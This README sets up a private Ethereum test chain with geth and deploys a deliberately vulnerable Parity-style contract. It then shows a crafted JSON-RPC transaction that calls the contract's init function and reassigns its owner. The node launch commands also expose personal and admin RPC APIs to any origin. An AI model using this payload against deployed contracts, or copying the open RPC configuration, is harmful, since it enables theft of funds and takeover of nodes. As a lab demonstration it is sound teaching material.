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README

POC to showcase the HackParity Vulnerability in the ethereum blockchain. You can find more information about the attack in the documentation.pdf presentation

I Prerequisite

If your node is supposed to be mining, you need to have at least 4GB of RAM of the local machine running your node

II Set up your Private Blochain

Correctly configure your genesis.json block such as:

{
    "config":{
        "chainId":15,
        "homesteadBlock":0,
        "eip155Block":0,
        "eip158Block":0
        },
    "difficulty": "0x400",
    "gasLimit":  "0x80000000",
    "alloc": {
         "d19167868388e320f09d5de3f8d5927f78bc6ce4":{"balance":"3000000"}
    },
    "nonce": "0x0000042",
    "timestamp": "0",
    "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "coinbase": "0x3333333333333333333333333333333333333333"
}

Init your blockchain :

geth --datadir data/db/ init genesis.json

The information of the blockchain will be in data/db/. Everytime you start your blockchain, it will read the information needed there. Unlike what's commonly thought, the networkid is just a mean of connecting nodes between them, the data comes from that --datadir option.

We will then need to create an account usable and credit it.

Launch your private blockchain

geth --nodiscover --datadir data/db --networkid 15 --rpc --rpcapi personal,web3,eth,accounts,admin,miner,net,txpool --identity block1 --rpccorsdomain "*" --rpcaddr <ip> --mine --gasprice "1"

Use the javascript console to interact with it :

geth attach <datadir>/geth.ipc

In the ethereum javascript console :

personal.newAccount("yourPassword")

Take the address of your new account and paste it into your genesis.json file, in the alloc property, instead of the d19167868388e320f09d5de3f8d5927f78bc6ce4 address.

You now have an account that's ready to be used, but it still needs to get credited some money. For that, we will re-init our blockchain. Exit your ethereum javascript console and do the following :

$ cd <datadir>
$ rm -rf geth/

This allows you to destroy any information on the blockchain but the accounts created.

Init your blockchain again, this time it will credit your account.

geth --datadir data/db/ init genesis.json

Launch it again

geth --nodiscover --datadir data/db --networkid 15 --rpc --rpcapi personal,web3,eth,accounts,admin,miner,net,txpool --identity block1 --rpccorsdomain "*" --rpcaddr <ip> --mine --gasprice "1"

You are ready to go !

III Interact with a smart contract using Solidity Browser

Start by pasting your smart contract in the code edition window.

If your code has no warnings you are ready to go.

In the top-right corner, select Run then Environment, Web3Provider. Type the url and port towards your ethereum node.

Be careful though, you might need to connect to the solidity-browser interface via http, and not https !

Once the connection is made, you should see your blockchain accounts in the Accounts list. Select the account you want to pay for the mining and click on Create.

The console will indicate when the mining is successful, or if you need to unlock that account. If you need to unlock your account, go to your geth console :

geth attach $datadir/geth.ipc

on your node, and type

personal.unlockAccount('youraccount', 'password', duration)

Duration should be the time of unlocking in second. You can then go back to solidity-browser, and create your smart contract for good. When it is mined, an interface to interact with it should appear on the bottom-right.

IV HackParity Vulnerability

To exploit the HackParity-like smart contract we developed :

Copy/Paste it in a fresh window of the Smart Contract Window of our interface.

On the Run tab, select TestLibrary, mine it.

Paste the address of the library in the _library variable of the smart contract Vulnerable Contract.

Mine your VulnerableContract.

Your contract now has an owner which is the person who sent the transaction which created the contract. To hack it and change its owner, format a transaction like following :

{"jsonrpc":"2.0",
"method":"eth_sendTransaction",
"params":
[
    {"from": "<anyAddressWithMoney>", 
    "to": "<smartContractAddress>", 
    "data": "0x19ab453c000000000000000000000000<newOwnerAddress>", 
    "gas":"0x5ee0d",
    "gasprice":"0x1"}],
"id":"<any int>"}

Care with the gas. A gas estimate will only compute how much gas you need to send the transaction, not how much you need to execute the smart contract function. 300000 gas is a good start. Be careful, parameters must be sent in hexa.